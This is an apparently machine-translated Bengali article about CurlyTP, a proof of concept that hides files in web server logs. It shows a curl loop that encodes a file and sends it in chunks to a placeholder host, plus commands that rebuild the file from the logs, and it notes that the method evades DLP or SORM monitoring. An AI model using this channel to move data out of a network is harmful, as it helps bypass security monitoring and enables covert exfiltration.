উইকিপিডিয়ার সংজ্ঞা অনুসারে, একটি মৃত ড্রপ একটি ষড়যন্ত্রের সরঞ্জাম যা গোপন অবস্থান ব্যবহার করে লোকেদের মধ্যে তথ্য বা কিছু আইটেম আদান-প্রদান করতে কাজ করে। ধারণাটি হল যে লোকেরা কখনই দেখা করে না - তবে তারা এখনও অপারেশনাল নিরাপত্তা বজায় রাখার জন্য তথ্য বিনিময় করে।

লুকানোর জায়গা মনোযোগ আকর্ষণ করা উচিত নয়। অতএব, অফলাইন বিশ্বে তারা প্রায়শই বিচক্ষণ জিনিস ব্যবহার করে: দেয়ালে একটি আলগা ইট, একটি লাইব্রেরির বই, বা একটি গাছের ফাঁপা৷

ইন্টারনেটে অনেকগুলি এনক্রিপশন এবং বেনামী সরঞ্জাম রয়েছে, তবে এই সরঞ্জামগুলি ব্যবহার করার বিষয়টি মনোযোগ আকর্ষণ করে। উপরন্তু, তারা কর্পোরেট বা সরকারী পর্যায়ে ব্লক করা হতে পারে. কি করো?

বিকাশকারী রায়ান ফুল একটি আকর্ষণীয় বিকল্প প্রস্তাব করেছেন - লুকানোর জায়গা হিসেবে যেকোনো ওয়েব সার্ভার ব্যবহার করুন. আপনি যদি এটি সম্পর্কে চিন্তা করেন, একটি ওয়েব সার্ভার কি করে? অনুরোধ গ্রহণ করে, ফাইল ইস্যু করে এবং লগ লেখে। এবং এটি সমস্ত অনুরোধ লগ করে, এমনকি ভুলগুলোও!

দেখা যাচ্ছে যে কোনও ওয়েব সার্ভার আপনাকে লগে প্রায় কোনও বার্তা সংরক্ষণ করতে দেয়। ফুল ভাবছিল কিভাবে এটা ব্যবহার করা যায়।

তিনি এই বিকল্পটি অফার করেন:

একটি টেক্সট ফাইল (গোপন বার্তা) নিন এবং হ্যাশ (md5sum) গণনা করুন।
আমরা এটি এনকোড (gzip+uuencode)।
আমরা সার্ভারে ইচ্ছাকৃতভাবে ভুল অনুরোধ ব্যবহার করে লগে লিখি।

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

একটি ফাইল পড়ার জন্য, আপনাকে এই ক্রিয়াকলাপগুলি বিপরীত ক্রমে সম্পাদন করতে হবে: ফাইলটি ডিকোড এবং আনজিপ করুন, হ্যাশ পরীক্ষা করুন (হ্যাশটি খোলা চ্যানেলগুলিতে নিরাপদে প্রেরণ করা যেতে পারে)।

স্পেস দিয়ে প্রতিস্থাপিত হয় =+=যাতে ঠিকানায় কোন স্পেস না থাকে। প্রোগ্রামটি, যাকে লেখক CurlyTP বলে, বেস64 এনকোডিং ব্যবহার করে, যেমন ইমেল সংযুক্তি। অনুরোধটি একটি কীওয়ার্ড দিয়ে করা হয়েছে ?transfer?যাতে প্রাপক সহজেই লগগুলিতে এটি খুঁজে পেতে পারে।

এই ক্ষেত্রে আমরা লগগুলিতে কী দেখতে পাব?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ইতিমধ্যে উল্লিখিত হিসাবে, একটি গোপন বার্তা পেতে আপনাকে বিপরীত ক্রমে অপারেশনগুলি করতে হবে:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

প্রক্রিয়া স্বয়ংক্রিয় করা সহজ. Md5sum মেলে, এবং ফাইলের বিষয়বস্তু নিশ্চিত করে যে সবকিছু সঠিকভাবে ডিকোড করা হয়েছে।

পদ্ধতিটি খুবই সহজ। “এই অনুশীলনের মূল বিষয়টি কেবল প্রমাণ করা যে ফাইলগুলি নির্দোষ ছোট ওয়েব অনুরোধের মাধ্যমে স্থানান্তর করা যেতে পারে এবং এটি প্লেইন টেক্সট লগ সহ যে কোনও ওয়েব সার্ভারে কাজ করে। মূলত, প্রতিটি ওয়েব সার্ভার একটি লুকানোর জায়গা!” ফ্লাওয়ারস লিখেছেন।

অবশ্যই, পদ্ধতিটি তখনই কাজ করে যখন প্রাপকের সার্ভার লগগুলিতে অ্যাক্সেস থাকে। কিন্তু এই ধরনের অ্যাক্সেস প্রদান করা হয়, উদাহরণস্বরূপ, অনেক হোস্টর দ্বারা।

এটি কিভাবে ব্যবহার করতে?

রায়ান ফ্লাওয়ারস বলেছেন যে তিনি তথ্য সুরক্ষা বিশেষজ্ঞ নন এবং কার্লিটিপির সম্ভাব্য ব্যবহারের একটি তালিকা কম্পাইল করবেন না। তার জন্য, এটি ধারণার একটি প্রমাণ যে আমরা প্রতিদিন যে পরিচিত সরঞ্জামগুলি দেখি তা একটি অপ্রচলিত উপায়ে ব্যবহার করা যেতে পারে।

প্রকৃতপক্ষে, এই পদ্ধতির অন্যান্য সার্ভারের তুলনায় অনেক সুবিধা রয়েছে যেমন "লুকাচ্ছেন" ডিজিটাল ডেড ড্রপ বা পাইরেটবক্স: এর জন্য সার্ভার সাইডে বিশেষ কনফিগারেশন বা কোনো বিশেষ প্রোটোকলের প্রয়োজন নেই - এবং যারা ট্রাফিক নিরীক্ষণ করেন তাদের মধ্যে সন্দেহ জাগাবে না। এটি অসম্ভাব্য যে একটি SORM বা DLP সিস্টেম সংকুচিত পাঠ্য ফাইলগুলির জন্য URL স্ক্যান করবে৷

এটি পরিষেবা ফাইলগুলির মাধ্যমে বার্তা প্রেরণের একটি উপায়। আপনি মনে করতে পারেন কিভাবে কিছু উন্নত কোম্পানী স্থাপন করা হয় এইচটিটিপি হেডারে ডেভেলপারের কাজ অথবা HTML পৃষ্ঠার কোডে।

ধারণাটি ছিল যে শুধুমাত্র ওয়েব বিকাশকারীরা এই ইস্টার ডিমটি দেখতে পাবে, যেহেতু একজন সাধারণ ব্যক্তি শিরোনাম বা HTML কোডের দিকে তাকাবে না।

উত্স: www.habr.com

সার্ভার লগ মাধ্যমে গোপন বার্তা বিনিময়

এটি কিভাবে ব্যবহার করতে?

একটি মন্তব্য জুড়ুন উত্তর বাতিল